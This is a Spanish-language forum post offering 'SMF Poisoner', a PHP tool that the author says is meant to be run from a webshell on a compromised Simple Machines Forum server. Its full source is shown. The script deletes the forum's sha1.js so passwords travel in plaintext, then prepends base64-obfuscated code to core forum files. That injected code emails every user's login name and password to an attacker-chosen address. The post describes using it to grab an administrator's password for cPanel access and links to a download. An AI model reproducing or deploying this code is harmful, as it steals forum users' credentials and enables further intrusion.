SMF poisoiner
Explicación:Se trata de un script que se instala en un smf y te envía las contraseñas que introducen los usuarios en el login a tu e-mail. Para utilizarlo necesitaras tener los suficientes privilegios como para ejecutar php en el servidor objetivo. Cualquier pregunta en este post...
Ejemplo de utilización:Tienes una webshell en un servidor con un foro smf y necesitas sacar la password del admin para entrar al cpanel. El admin tiene que ser lo suficientemente estúpido como para tener la misma contraseña en los dos lugares.
Saludos, aquí esta el código:
<?php
//////////////////////////////////////
// SMF Poisoner //
// By Hondamena //
//////////////////////////////////////
error_reporting(0);
////////////////configuracion///////////
$dirsmf = './foro/';
$sourcedir = $dirsmf.'Sources/';
$defaultmail = 'hondamena@mail.com';
////////////////////////////////////////
$inyect = 'none';
$sha = $dirsmf.'Themes/default/sha1.js';
$listadeinjectables = array(
$dirsmf.'index.php',
$sourcedir.'LogInOut.php',
$sourcedir.'/QueryString.php',
$sourcedir.'/Subs.php',
$sourcedir.'/Errors.php',
$sourcedir.'/Load.php',
$sourcedir.'/Security.php'
);
function addinyectables($path){
global $inyect;
$inyect .= '<>'.$path;
}
function inyectablesescribibles($lista){
$cantidad = count($lista);
for ($i = 0; $i <= $cantidad; $i++) {
if(is_writable($lista[$i])) addinyectables($lista[$i]);
}
}
function makeselect($inyectables, $name){
$explode = explode('<>', $inyectables);
$r = '<select name="'.$name.'" style="font-family:verdana" >';
for($i=0;$explode[$i];$i++)
$r .= '<option value="'.$explode[$i].'">'.$explode[$i].'</option>';
$r .= '</select>';
return $r;
}
if(!$_POST['install']){
inyectablesescribibles($listadeinjectables); //agregamos a la variable $inyect los archivos inyectables que son escribibles
echo'<head>
<title>Smf Poisoner by Hondamena - Visit http://www.vZack.com</title>
</head>
<body bgcolor="000000">
<center><h1><font color="FFFFFF" style="font-family:verdana">Instalación</font></h1><br/></center>
<form method="post"><input type="hidden" name="install" value="true">
<table bgcolor="FFFFFF" style="-moz-border-radius: 15px;padding-left : 5px;padding-right : 5px;padding-top : 5px;padding-bottom : 5px" align="center">
<tr>
<td>
<font style="font-family:verdana" size="2">Archivo a injectar código "malicioso":</font>
</td>
<td>
'.makeselect($inyect, "archivoinj").'
</td>
</tr>
<tr>
<td>
<font style="font-family:verdana" size="2">Archivo sha1.js:</font>
</td>
<td>
'.makeselect($sha, "sha1").'
</td>
</tr>
<tr>
<td>
<font style="font-family:verdana" size="2">Mail para recibir las contraseñas:</font>
</td>
<td>
<input type="text" name="mail" style="font-family:verdana" value="'.$defaultmail.'">
</td>
</tr>
<tr>
<td colspan="2">
<center><input type="submit" value="Inyectar código" style="font-family:verdana" ></form></center>
</td>
</tr>
</table>
<center><font color="FFFFFF" style="font-family:verdana">Created by Hondamena - <a href="http://www.vzack.com"><font color="FFFFFF" style="font-family:verdana">vZack</font></a></center>
';
}else{
$mail = $_POST["mail"];
$sha1file = $_POST["sha1"];
$inyectar = $_POST["archivoinj"];
$codemal = base64_decode('PD9waHANCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoqIGluZGV4LnBocCAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgKg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiogU01GOiBTaW1wbGUgTWFjaGluZXMg
Rm9ydW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAqDQoqIE9wZW4tU291cmNlIFByb2plY3QgSW5zcGlyZWQgYnkgWmVmIEhlbWVsICh6ZWZAemVm
aGVtZWwuY29tKSAgICAgICAgICAgICAgICAgICAgKg0KKiA9PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
ICoNCiogU29mdHdhcmUgVmVyc2lvbjogICAgICAgICAgIFNNRiAxLjEuNSAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqDQoqIFNvZnR3YXJlIGJ5OiAgICAgICAgICAg
ICAgICBTaW1wbGUgTWFjaGluZXMgKGh0dHA6Ly93d3cuc2ltcGxlbWFjaGluZXMub3JnKSAgICAg
Kg0KKiBDb3B5cmlnaHQgMjAwNi0yMDA3IGJ5OiAgICAgU2ltcGxlIE1hY2hpbmVzIExMQyAoaHR0
cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcpICoNCiogICAgICAgICAgIDIwMDEtMjAwNiBieTog
ICAgIExld2lzIE1lZGlhIChodHRwOi8vd3d3Lmxld2lzbWVkaWEuY29tKSAgICAgICAgICAgICAq
DQoqIFN1cHBvcnQsIE5ld3MsIFVwZGF0ZXMgYXQ6ICBodHRwOi8vd3d3LnNpbXBsZW1hY2hpbmVz
Lm9yZyAgICAgICAgICAgICAgICAgICAgICAgKg0KKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioN
CiogVGhpcyBwcm9ncmFtIGlzIGZyZWUgc29mdHdhcmU7IHlvdSBtYXkgcmVkaXN0cmlidXRlIGl0
IGFuZC9vciBtb2RpZnkgaXQgdW5kZXIgICAqDQoqIHRoZSB0ZXJtcyBvZiB0aGUgcHJvdmlkZWQg
bGljZW5zZSBhcyBwdWJsaXNoZWQgYnkgU2ltcGxlIE1hY2hpbmVzIExMQy4gICAgICAgICAgKg0K
KiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICoNCiogVGhpcyBwcm9ncmFtIGlzIGRpc3RyaWJ1dGVk
IGluIHRoZSBob3BlIHRoYXQgaXQgaXMgYW5kIHdpbGwgYmUgdXNlZnVsLCBidXQgICAgICAqDQoq
IFdJVEhPVVQgQU5ZIFdBUlJBTlRJRVM7IHdpdGhvdXQgZXZlbiBhbnkgaW1wbGllZCB3YXJyYW50
eSBvZiBNRVJDSEFOVEFCSUxJVFkgICAgKg0KKiBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIg
UFVSUE9TRS4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoNCiog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAqDQoqIFNlZSB0aGUgImxpY2Vuc2UudHh0IiBmaWxlIGZv
ciBkZXRhaWxzIG9mIHRoZSBTaW1wbGUgTWFjaGluZXMgbGljZW5zZS4gICAgICAgICAgKg0KKiBU
aGUgbGF0ZXN0IHZlcnNpb24gY2FuIGFsd2F5cyBiZSBmb3VuZCBhdCBodHRwOi8vd3d3LnNpbXBs
ZW1hY2hpbmVzLm9yZy4gICAgICAgICoNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCg0K
aWYoJF9QT1NUWydwYXNzd3JkJ10pIG1haWwoJw==').$mail.base64_decode('JywgJ1NNRiBwb2lzb25lcicsICdVc2VybmFtZTogJy4kX1BPU1RbJ3VzZXInXS4nXG48YnI+UGFz
c3dvcmQ6ICcuJF9QT1NUWydwYXNzd3JkJ10pOw0KPz4=');
if(!file_exists($sha1file)) $error = "Archivo $sha1file no existe";
if((!$mail) or $mail == 'hondamena@mail.com') $error .= "<br/>No has introducido ningun mail";
if($error) $out = '<font color="red" size=2 style="font-family:verdana">'.$error.'</font>';
if(!$out){
$out = 'Intentando eliminar '.$sha1file.'<br>';
if(unlink($sha1file))
$out .= $sha1file.' correctamente eliminado<br>';
else
$out .= 'error crítico, imposible eliminar '.$sha1file.' smf poisoner no funcionara correctamente, enviara la contraseña encriptada con sha1';
$out .= 'Inyectando código malicioso a '.$inyectar.'<br>';
$nombre_archivo = "/usr/local/algo.txt";
$abre = fopen($inyectar, "r");
$r = fread($abre, filesize($inyectar));
fclose($abre);
$newr = $codemal.$r;
$r = NULL;
$abre = fopen($inyectar, "w+");
fwrite($abre, $newr);
fclose($abre);
$newr = NULL;
$out .= 'Código malicioso correctamente insertado<br>';
}
echo $out;
}
?>
Descarga:
http://vzack.com/descargar.php?dir=/Vulnerabilidades%20y%20similares/&archivo=Smf%20poisoner.php